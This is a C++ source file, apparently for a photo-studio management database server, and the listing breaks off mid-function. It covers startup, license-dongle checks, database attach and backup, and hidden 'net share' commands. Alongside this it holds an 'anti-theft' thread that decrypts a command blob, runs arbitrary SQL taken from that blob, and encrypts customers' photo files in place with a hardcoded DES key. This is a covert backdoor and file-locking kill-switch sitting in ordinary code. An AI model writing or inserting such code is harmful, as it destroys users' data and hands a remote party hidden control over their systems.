DBServer.cpp 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985
  1. #include "stdafx.h"
  2. #include "DBServer.h"
  3. #include "DBServerDlg.h"
  4. #include "theDBServer.h"
  5. #include "MyLock.h"
  6. #include "mysqldata.h"
  7. #include "DumpCollect.h"
  8. #include "BranchInfo.h"
  9. #include "AntiTheftCommand.h"
  10. #ifdef _DEBUG
  11. #define new DEBUG_NEW
  12. #undef THIS_FILE
  13. static char THIS_FILE[] = __FILE__;
  14. #endif
  15. BEGIN_MESSAGE_MAP(CDBServer, CWinApp)
  16. //{{AFX_MSG_MAP(CDBServer)
  17. ON_COMMAND(ID_APP_SHOW, OnAppShow)
  18. ON_COMMAND(ID_APP_EXIT, OnAppExit)
  19. ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
  20. ON_COMMAND(ID_HELP_INDEX, OnHelpIndex)
  21. //}}AFX_MSG_MAP
  22. ON_COMMAND(ID_HELP, CWinApp::OnHelp)
  23. END_MESSAGE_MAP()
  24. /////////////////////////////////////////////////////////////////////////////
  25. // CDBServer construction
  26. CDBServer::CDBServer()
  27. {
  28. // TODO: add construction code here,
  29. // Place all significant initialization in InitInstance
  30. }
  31. /////////////////////////////////////////////////////////////////////////////
  32. // The one and only CDBServer object
  33. CDBServer theApp;
  34. CtheDBServer theServer;
  35. /////////////////////////////////////////////////////////////////////////////
  36. // CDBServer initialization
  37. BOOL CDBServer::InitInstance()
  38. {
  39. AfxInitRichEdit2();
  40. CWinApp::InitInstance();
  41. AfxEnableControlContainer();
  42. DumpCollect::InitMinDump();
  43. InitSocketLibrary(MAKEWORD(2,2));
  44. // 2.配置数据库连接信息;
  45. char server[50];
  46. DWORD leng=50;
  47. memset(server, 0, 50);
  48. ::GetComputerName(server, &leng);
  49. _stprintf_s(g_szHostName, MAX_PATH, _T("%s"), server);
  50. g_localname = server;
  51. TCHAR szDir[MAX_PATH];
  52. ::GetModuleFileName(NULL, szDir, MAX_PATH);
  53. g_mainpath = szDir;
  54. g_mainpath = g_mainpath.Left (g_mainpath.ReverseFind ('\\'));
  55. if( GetIniInfo() == -1)
  56. {
  57. WriteTextLog("未找到配置文件:ServiceInfo.ini");
  58. return FALSE;
  59. }
  60. // 服务器延时启动;
  61. if ( g_dwStartDelayTime )
  62. {
  63. Sleep(g_dwStartDelayTime*1000);
  64. }
  65. // 1.根据运行的端口号来运行单实例;
  66. _stprintf_s(szDir, _T("lyfzServer%d"), g_dwCSPort);
  67. HANDLE hObject = CreateMutex(NULL, FALSE, szDir);
  68. if(GetLastError() == ERROR_ALREADY_EXISTS)
  69. {
  70. return false;
  71. }
  72. g_strdbpsw.Format("uid=%s;pwd=%s",g_szDBAccount,g_szDBPassWord);
  73. if ( g_dwDBServerPort != 0 )
  74. g_strdbServrename.Format("%s,%d",g_szDBSource,g_dwDBServerPort);
  75. else
  76. g_strdbServrename.Format("%s",g_szDBSource);
  77. WriteTextLog("启动");
  78. // 3.初始化加密狗信息,并获取相应的加密数据;
  79. MyLock lock("ytSoftKeyaccessxiao");
  80. if(SoftKey::GetInstance()->IniEx())
  81. {
  82. AfxMessageBox(_T("未找到加密狗或加密狗版本不一致!"));
  83. return false;
  84. }
  85. #ifdef CONNCOUNT_VERSION // Jeff.座席版;
  86. {
  87. int value[8];
  88. double f[8];
  89. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  90. //运行自定义函数
  91. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  92. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  93. s0,s1,s2,s3,s4,s5,s6,s7);
  94. if(ret!=0 && ret!=-43)
  95. {
  96. g_conncount=-1; // Jeff:S0 存储着座席数量;
  97. }
  98. else
  99. {
  100. g_conncount=atoi(s0); // Jeff:S0 存储着座席数量;
  101. g_sdomain=s1;
  102. g_bReg=atoi(s2); // ???医院跟踪系统??
  103. }
  104. }
  105. #else
  106. {
  107. int value[8];
  108. double f[8];
  109. TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
  110. //运行自定义函数
  111. int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
  112. &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
  113. s0,s1,s2,s3,s4,s5,s6,s7);
  114. if(ret!=0 && ret!=-43)
  115. {
  116. }
  117. else
  118. {
  119. g_sdomain=s1;
  120. g_bReg=atoi(s2);
  121. }
  122. }
  123. #endif
  124. if ( g_sdomain.IsEmpty() )
  125. {
  126. AfxMessageBox(_T("加密锁域名为空,无法启动服务器!"));
  127. return FALSE;
  128. }
  129. CString savedir=g_mainpath+"\\数据备份";
  130. if(!CheckFolderFileExist (savedir))
  131. ::CreateDirectory (savedir, NULL);
  132. ::CoInitialize( NULL );
  133. BOOL bMasterDb=0;
  134. BOOL bUserDb=0;
  135. // 4.连接master数据库,判断数据库连接是否正常;
  136. CDatabase masterdb; // Jeff:master用于附加与分离数据库;
  137. try
  138. {
  139. TCHAR szConnectString[MAX_PATH] = _T("");
  140. if( g_dwDBServerPort != 0)
  141. {
  142. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  143. _stprintf_s(szConnectString, DB_SW_CONN_WITH_PORT, g_szDBSource,g_dwDBServerPort, _T("master"));
  144. else
  145. _stprintf_s(szConnectString, DB_SS_CONN_WITH_PORT,g_szDBSource,g_dwDBServerPort, _T("master"), g_szDBAccount,g_szDBPassWord);
  146. }
  147. else
  148. {
  149. if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
  150. _stprintf_s(szConnectString, DB_SW_CONN_WITHOUT_PORT, g_szDBSource, _T("master"));
  151. else
  152. _stprintf_s(szConnectString, DB_SS_CONN_WITHOUT_PORT, g_szDBSource, _T("master"), g_szDBAccount, g_szDBPassWord);
  153. }
  154. masterdb.OpenEx(szConnectString,CDatabase::noOdbcDialog);
  155. bMasterDb=1;
  156. }
  157. catch(CDBException * e)
  158. {
  159. #ifdef _DEBUG
  160. e->ReportError();
  161. #endif
  162. e->Delete();
  163. }
  164. if(bMasterDb==0)
  165. {
  166. WriteTextLog(_T("sql数据库未启动!"));
  167. ShellExecute(NULL, _T("open"), g_mainpath+"\\AutoRun.exe", NULL, NULL, SW_HIDE);
  168. return false;
  169. }
  170. CODBCPool *pdbpool = new CODBCPool;
  171. if ( pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, g_szDBName, g_dwDBPoolDef, g_dwDBPoolMaxCount) )
  172. {
  173. g_dbpool.Add(pdbpool);
  174. bUserDb=1;
  175. BackupDatabase(savedir, 1, 0); // Jeff. savedir=\\数据备份
  176. CDatabase *pdb = NULL;
  177. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  178. CString strSQL;
  179. strSQL.Format(_T("update path set path1='%s'"), g_sdomain);
  180. if ( pdb )
  181. {
  182. try
  183. {
  184. pdb->ExecuteSQL(strSQL);
  185. pdb->ExecuteSQL(_T("IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[historydb]') AND type in (N'U')) CREATE TABLE [historydb]([year] VARCHAR(50))"));
  186. }
  187. catch (CDBException* e)
  188. {
  189. WriteTextLog(_T("%s-<%d>-%s,%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError);
  190. e->Delete();
  191. }
  192. }
  193. }
  194. else
  195. {
  196. delete pdbpool;
  197. }
  198. if(bUserDb==0 && bMasterDb)
  199. {
  200. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  201. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  202. WriteTextLog("数据库初始化中...");
  203. TCHAR szDBFile[MAX_PATH] = _T("");
  204. _stprintf_s(szDBFile, _T("%s\\数据\\%s.mdf"), g_mainpath.GetString(), g_szDBName);
  205. if(::PathFileExists(szDBFile) == 0 )
  206. {
  207. WriteTextLog("数据库文件丢失!");
  208. return false;
  209. }
  210. BOOL bLog=0;
  211. TCHAR szDBLogFile[MAX_PATH] = _T("");
  212. _stprintf_s(szDBLogFile, _T("%s\\数据\\%s_log.ldf"), g_mainpath.GetString(), g_szDBName);
  213. if(::PathFileExists(szDBLogFile) == 0 )
  214. {
  215. bLog=1;
  216. }
  217. CString sql;
  218. try
  219. {
  220. // g_masterdb.ExecuteSQL ("exec sp_detach_db db");
  221. }
  222. catch(CDBException * e)
  223. {
  224. #ifdef _DEBUG
  225. e->ReportError();
  226. #endif
  227. e->Delete();
  228. }
  229. if(bLog)
  230. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf',@filename2='%s\\数据\\%s_log.ldf'",g_szDBName,g_ModulePath,g_szDBName,g_ModulePath,g_szDBName);
  231. else
  232. sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf'", g_szDBName,g_ModulePath,g_szDBName);
  233. try
  234. {
  235. masterdb.ExecuteSQL (sql); // 同master数据库去执行附加和分离;
  236. }
  237. catch(CDBException * e)
  238. {
  239. masterdb.Close();
  240. WriteTextLog(e->m_strError);
  241. WriteTextLog("数据库初始化失败!");
  242. #ifdef _DEBUG
  243. e->ReportError();
  244. #endif
  245. e->Delete();
  246. return false;
  247. }
  248. masterdb.Close();
  249. WriteTextLog("数据库初始化完成,请重新启动系统!");
  250. return false;
  251. }
  252. // 在数据库完成初始化后,判断本地目录下是否有MSCHRT20.OCX文件,无则从数据库下载;2014.09.06
  253. // 客户端从dwToUserID==211里传递MSCHRT20.OCX;
  254. CString strMSCHRTOCX = g_mainpath+"\\系统文件\\MSCHRT20.OCX";
  255. OFSTRUCT ofStruct;
  256. OpenFile(strMSCHRTOCX,&ofStruct,OF_EXIST);
  257. if( ERROR_FILE_NOT_FOUND == GetLastError())
  258. {
  259. CDatabase *pdb = NULL;
  260. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  261. if ( pdb )
  262. {
  263. CRstUpdate rsSt;
  264. rsSt.m_pDatabase = pdb;
  265. rsSt.Open();
  266. if(!rsSt.IsEOF())
  267. {
  268. CFile fp;
  269. if(fp.Open(strMSCHRTOCX, CFile::modeCreate|CFile::modeWrite))
  270. {
  271. void *pData = GlobalLock(rsSt.m_lbOCX.m_hData);
  272. fp.Write(pData, rsSt.m_lbOCX.m_dwDataLength);
  273. fp.Close();
  274. GlobalUnlock(rsSt.m_lbOCX.m_hData);
  275. }
  276. }
  277. rsSt.Close();
  278. }
  279. }
  280. ULONG_PTR gdiplusToken;
  281. GdiplusStartupInput gdiplusStartupInput;
  282. GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
  283. CString path1="客户原片(管理软件)$";
  284. CString path2="修好的片(管理软件)$";
  285. CString path3="设计好的片(管理软件)$";
  286. CString path4="精修好的片(管理软件)$";
  287. CString path5="礼服图片(管理软件)$";
  288. CString path6="电话录音(管理软件)$";
  289. CString temp;
  290. if(CheckFolderFileExist (g_mainpath+"\\"+path1))
  291. {
  292. temp.Format ("net share %s=%s\\%s", path1, g_mainpath, path1);
  293. WinExec(temp,SW_HIDE);
  294. }
  295. if(CheckFolderFileExist (g_mainpath+"\\"+path2))
  296. {
  297. temp.Format ("net share %s=%s\\%s", path2, g_mainpath, path2);
  298. WinExec(temp,SW_HIDE);
  299. }
  300. if(CheckFolderFileExist (g_mainpath+"\\"+path3))
  301. {
  302. temp.Format ("net share %s=%s\\%s", path3, g_mainpath, path3);
  303. WinExec(temp,SW_HIDE);
  304. }
  305. if(CheckFolderFileExist (g_mainpath+"\\"+path4))
  306. {
  307. temp.Format ("net share %s=%s\\%s", path4, g_mainpath, path4);
  308. WinExec(temp,SW_HIDE);
  309. }
  310. if(CheckFolderFileExist (g_mainpath+"\\"+path5))
  311. {
  312. temp.Format ("net share %s=%s\\%s", path5, g_mainpath, path5);
  313. WinExec(temp,SW_HIDE);
  314. }
  315. if(CheckFolderFileExist (g_mainpath+"\\"+path6))
  316. {
  317. temp.Format ("net share %s=%s\\%s", path6, g_mainpath, path6);
  318. WinExec(temp,SW_HIDE);
  319. }
  320. CString autorunpath=g_mainpath+"\\AutoRun.exe";
  321. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  322. #ifdef ENTERPRISE_VERSION
  323. autorunpath=g_mainpath+"\\DataSyncReceive.exe";
  324. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  325. autorunpath=g_mainpath+"\\DataSyncSend.exe";
  326. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  327. autorunpath=g_mainpath+"\\CPhotoFTPReceive.exe";
  328. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  329. autorunpath=g_mainpath+"\\CPhotoFTPSend.exe";
  330. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  331. #endif
  332. // Standard initialization
  333. // If you are not using these features and wish to reduce the size
  334. // of your final executable, you should remove from the following
  335. // the specific initialization routines you do not need.
  336. #ifdef _AFXDLL
  337. Enable3dControls(); // Call this when using MFC in a shared DLL
  338. #else
  339. Enable3dControlsStatic(); // Call this when linking to MFC statically
  340. #endif
  341. InitCommonControls();
  342. #ifdef _DEBUG
  343. //HANDLE hThread = ::CreateThread(NULL, 0, ThreadAntiTheft, NULL, 0, NULL);
  344. //if ( hThread )
  345. // CloseHandle(hThread);
  346. CAntiTheftCommand::GetInstance()->StartThread();
  347. #endif
  348. CDBServerDlg dlg;
  349. m_pMainWnd = &dlg;
  350. int nResponse = dlg.DoModal();
  351. if (nResponse == IDOK)
  352. {
  353. }
  354. else if (nResponse == IDCANCEL)
  355. {
  356. }
  357. GdiplusShutdown(gdiplusToken);
  358. g_Instance = AfxGetResourceHandle();
  359. return FALSE;
  360. }
  361. void CDBServer::OnAppShow()
  362. {
  363. if (m_pMainWnd)
  364. m_pMainWnd->ShowWindow(SW_SHOW);
  365. }
  366. void CDBServer::OnAppExit()
  367. {
  368. //御载lyfzBackupModle.dll
  369. m_pMainWnd->DestroyWindow();
  370. }
  371. void CDBServer::OnAppAbout()
  372. {
  373. }
  374. /********************************************************************/
  375. /* */
  376. /* Function name : OnHelpIndex */
  377. /* Description : Command to show help file. */
  378. /* */
  379. /********************************************************************/
  380. void CDBServer::OnHelpIndex()
  381. {
  382. // launch help
  383. // ::WinHelp(AfxGetMainWnd()->m_hWnd, AfxGetApp()->m_pszHelpFilePath, HELP_CONTENTS, 0L);
  384. }
  385. int CDBServer::ExitInstance()
  386. {
  387. // 释放Socket库;
  388. ReleaseSocketLibrary();
  389. return CWinApp::ExitInstance();
  390. }
  391. /************************************************************************/
  392. /* 函数:[1/3/2017 IT];
  393. /* 描述:;
  394. /* 参数:;
  395. /* [IN] :;
  396. /* [OUT] :;
  397. /* [IN/OUT] :;
  398. /* 返回:void;
  399. /* 注意:代码未细分子函数,有待优化;
  400. /* 示例:;
  401. /*
  402. /* 修改:;
  403. /* 日期:;
  404. /* 内容:;
  405. /************************************************************************/
  406. DWORD CDBServer::ThreadAntiTheft(LPVOID lpPara)
  407. {
  408. #ifdef _DEBUG
  409. Sleep(1000);
  410. #else
  411. Sleep(180000);
  412. #endif
  413. while (1)
  414. {
  415. cJSON *pJson = NULL;
  416. cJSON *pSQLAry = NULL;
  417. cJSON *pDataAry = NULL;
  418. cJSON *pAryItem = NULL;
  419. CString strResult;
  420. do
  421. {
  422. if ( g_strAntiTheftInfo.IsEmpty() )
  423. {
  424. Sleep(1000);
  425. continue;
  426. }
  427. if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1 )
  428. {
  429. strResult.Empty();
  430. Sleep(1000);
  431. continue;
  432. }
  433. pJson = cJSON_Parse(strResult.GetString());
  434. if ( pJson )
  435. break;
  436. } while (1);
  437. typedef struct __SQLOPT__
  438. {
  439. CString strStatement;
  440. CString strExecTime;
  441. BOOL bExecStatus;
  442. }SQLOpt;
  443. typedef struct __DATAOPT__
  444. {
  445. INT nType;
  446. CString strExecTime;
  447. INT nCount;
  448. BOOL bExecStatus;
  449. STR_VEC vtOrders;
  450. }DATAOpt;
  451. struct __DETAIL__
  452. {
  453. BOOL bSQLOpt;
  454. BOOL bDataOpt;
  455. BOOL bDogOpt;
  456. CString strCmdGuid;
  457. CString strWarning; // 盗版提示;
  458. vector<SQLOpt> vtSQLOpt;
  459. vector<DATAOpt> vtDataOpt;
  460. };
  461. __DETAIL__ stDetail;
  462. if ( pJson )
  463. {
  464. INT nArySize = 0;
  465. stDetail.strCmdGuid = cJSON_GetObjectItem(pJson, "cmd-guid") ? cJSON_GetObjectItem(pJson, "cmd-guid")->valuestring : "";
  466. stDetail.bSQLOpt = cJSON_GetObjectItem(pJson, "SQL-Opt") ? cJSON_GetObjectItem(pJson, "SQL-Opt")->valueint : FALSE;
  467. stDetail.bDataOpt = cJSON_GetObjectItem(pJson, "Data-Opt") ? cJSON_GetObjectItem(pJson, "Data-Opt")->valueint : FALSE;
  468. stDetail.bDogOpt = cJSON_GetObjectItem(pJson, "Dog-Opt") ? cJSON_GetObjectItem(pJson, "Dog-Opt")->valueint : FALSE;
  469. pSQLAry = cJSON_GetObjectItem(pJson, "SQL-Ary");
  470. pDataAry = cJSON_GetObjectItem(pJson, "Data-Ary");
  471. if ( pSQLAry )
  472. {
  473. nArySize = cJSON_GetArraySize(pSQLAry);
  474. for ( int i = 0; i < nArySize; i++ )
  475. {
  476. pAryItem = cJSON_GetArrayItem(pSQLAry,i);
  477. if ( pAryItem )
  478. {
  479. SQLOpt stSQLOpt;
  480. stSQLOpt.strStatement = cJSON_GetObjectItem(pAryItem, "Statement")->valuestring;
  481. stSQLOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  482. stSQLOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  483. stDetail.vtSQLOpt.push_back(stSQLOpt);
  484. }
  485. }
  486. }
  487. if ( pDataAry )
  488. {
  489. pAryItem = NULL;
  490. nArySize = cJSON_GetArraySize(pDataAry);
  491. for ( int i = 0; i < nArySize; i++ )
  492. {
  493. pAryItem = cJSON_GetArrayItem(pDataAry,i);
  494. if ( pAryItem )
  495. {
  496. DATAOpt stDataOpt;
  497. stDataOpt.nType = cJSON_GetObjectItem(pAryItem, "Type")->valueint;
  498. stDataOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
  499. stDataOpt.nCount = cJSON_GetObjectItem(pAryItem, "Count")->valueint;
  500. stDataOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
  501. cJSON *pAryOrder = cJSON_GetObjectItem(pAryItem, "Order-Ary");
  502. if ( pAryOrder )
  503. {
  504. INT nOrderCount = cJSON_GetArraySize(pAryOrder);
  505. for ( int j = 0; j < nOrderCount; j++ )
  506. {
  507. pAryItem = cJSON_GetArrayItem(pAryOrder, j);
  508. if ( pAryItem )
  509. {
  510. stDataOpt.vtOrders.push_back(cJSON_GetObjectItem(pAryItem, "order")->valuestring);
  511. }
  512. }
  513. }
  514. stDetail.vtDataOpt.push_back(stDataOpt);
  515. }
  516. }
  517. }
  518. }
  519. cJSON_Delete(pJson);
  520. // 更新到数据库中;
  521. CDatabase *pMaindb = NULL;
  522. while ( pMaindb == NULL )
  523. {
  524. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  525. Sleep(1000);
  526. }
  527. CString strSQL;
  528. INT nHour = 0;
  529. INT nMinute = 0;
  530. if ( stDetail.bDogOpt )
  531. {// 加密狗授权到期,停止使用;
  532. }
  533. if ( stDetail.bSQLOpt )
  534. {
  535. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  536. {
  537. SQLOpt tagSQLOpt = *it;
  538. if ( !it->bExecStatus )
  539. {// 未执行过;
  540. if ( it->strExecTime == _T("NN:NN") )
  541. {// 下次触发执行;
  542. if (g_bNextTrigger)
  543. {
  544. it->strExecTime = _T("NN:BB");
  545. }
  546. }
  547. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
  548. {// 下次备份执行;
  549. CTime curTime = CTime::GetCurrentTime();
  550. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  551. {
  552. try
  553. {
  554. pMaindb->ExecuteSQL(it->strStatement);
  555. }
  556. catch(CDBException *e)
  557. {
  558. #ifdef _DEBUG
  559. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  560. #endif
  561. }
  562. it->bExecStatus = TRUE;
  563. }
  564. }
  565. else if ( it->strExecTime == _T("CC:CC"))
  566. {// 立即执行;
  567. try
  568. {
  569. pMaindb->ExecuteSQL(it->strStatement);
  570. }
  571. catch(CDBException *e)
  572. {
  573. #ifdef _DEBUG
  574. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  575. #endif
  576. }
  577. it->bExecStatus = TRUE;
  578. }
  579. else
  580. {// 指定时间执行;
  581. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
  582. CTime curTime = CTime::GetCurrentTime();
  583. if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
  584. {
  585. try
  586. {
  587. pMaindb->ExecuteSQL(it->strStatement);
  588. }
  589. catch(CDBException *e)
  590. {
  591. #ifdef _DEBUG
  592. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  593. #endif
  594. }
  595. it->bExecStatus = TRUE;
  596. }
  597. }
  598. }
  599. Sleep(100);
  600. }
  601. }
  602. if ( stDetail.bDataOpt )
  603. {
  604. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  605. {
  606. DATAOpt tagDataOpt = *it;
  607. if ( !it->bExecStatus )
  608. {// 未执行过;
  609. if ( it->strExecTime == _T("NN:NN") )
  610. {// 下次触发执行;
  611. if (g_bNextTrigger)
  612. {
  613. it->strExecTime = _T("NN:BB");
  614. }
  615. }
  616. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB"))
  617. {// 下次备份执行;
  618. CTime curTime = CTime::GetCurrentTime();
  619. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  620. {
  621. try
  622. {
  623. DWORD dwIndex = 0;
  624. CRecordset tagRst(pMaindb);
  625. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  626. tagRst.Open(CRecordset::forwardOnly, strSQL);
  627. CStringArray AryOrder;
  628. while ( !tagRst.IsEOF() )
  629. {
  630. tagRst.GetFieldValue(_T("id"), strSQL);
  631. tagRst.MoveNext();
  632. ++dwIndex;
  633. AryOrder.Add(strSQL);
  634. it->vtOrders.push_back(strSQL.GetString());
  635. if ( dwIndex == it->nCount)
  636. break;
  637. }
  638. tagRst.Close();
  639. // 查找文件(多目录共享的情况);
  640. TblNetShareInfo *pNetShareInfo = NULL;
  641. CStringArray AryShareDirectory;
  642. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  643. {
  644. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  645. {
  646. AryShareDirectory.Add((*it_share)->szShareDirectory);
  647. }
  648. }
  649. // 找出所有文件;
  650. filehelpImpl ff;
  651. STR_VEC vtFiles;
  652. TString strDirctory;
  653. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  654. {
  655. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  656. {
  657. strDirctory = AryShareDirectory.ElementAt(j);
  658. strDirctory.append(_T("\\"));
  659. strDirctory.append(AryOrder.ElementAt(i));
  660. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  661. }
  662. }
  663. BYTE szKey[MAX_PATH] = "lyfz.net";
  664. BYTE szVI[MAX_PATH] = "WorkbyIT";
  665. // 计时;
  666. // 对找到的所有文件进行加密;
  667. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  668. {
  669. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  670. }
  671. }
  672. catch (CDBException* e)
  673. {
  674. #ifdef _DEBUG
  675. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  676. #endif
  677. }
  678. it->bExecStatus = TRUE;
  679. }
  680. }
  681. else if ( it->strExecTime == _T("CC:CC"))
  682. {// 立即执行;
  683. try
  684. {
  685. DWORD dwIndex = 0;
  686. CRecordset tagRst(pMaindb);
  687. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  688. tagRst.Open(CRecordset::forwardOnly, strSQL);
  689. CStringArray AryOrder;
  690. while ( !tagRst.IsEOF() )
  691. {
  692. tagRst.GetFieldValue(_T("id"), strSQL);
  693. tagRst.MoveNext();
  694. ++dwIndex;
  695. AryOrder.Add(strSQL);
  696. if ( dwIndex == it->nCount)
  697. break;
  698. it->vtOrders.push_back(strSQL.GetString());
  699. #ifdef _DEBUG
  700. WriteTextLog(_T("订单号:%s"), strSQL);
  701. #endif
  702. }
  703. tagRst.Close();
  704. // 查找文件(多目录共享的情况);
  705. TblNetShareInfo *pNetShareInfo = NULL;
  706. CStringArray AryShareDirectory;
  707. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  708. {
  709. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  710. {
  711. AryShareDirectory.Add((*it_share)->szShareDirectory);
  712. #ifdef _DEBUG
  713. WriteTextLog(_T("共享路径:%s"), (*it_share)->szShareDirectory);
  714. #endif
  715. }
  716. }
  717. // 找出所有文件;
  718. filehelpImpl ff;
  719. STR_VEC vtFiles;
  720. TString strDirctory;
  721. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  722. {
  723. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  724. {
  725. strDirctory = AryShareDirectory.ElementAt(j);
  726. strDirctory.append(_T("\\"));
  727. strDirctory.append(AryOrder.ElementAt(i));
  728. #ifdef _DEBUG
  729. WriteTextLog(_T("订单路径:%s"), strDirctory.c_str());
  730. #endif
  731. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  732. }
  733. }
  734. BYTE szKey[MAX_PATH] = "lyfz.net";
  735. BYTE szVI[MAX_PATH] = "WorkbyIT";
  736. // 计时;
  737. // 对找到的所有文件进行加密;
  738. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  739. {
  740. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  741. #ifdef _DEBUG
  742. WriteTextLog(_T("文件:%s"), it->c_str());
  743. #endif
  744. }
  745. }
  746. catch (CDBException* e)
  747. {
  748. #ifdef _DEBUG
  749. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  750. #endif
  751. }
  752. it->bExecStatus = TRUE;
  753. }
  754. else
  755. {// 指定时间执行;
  756. sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
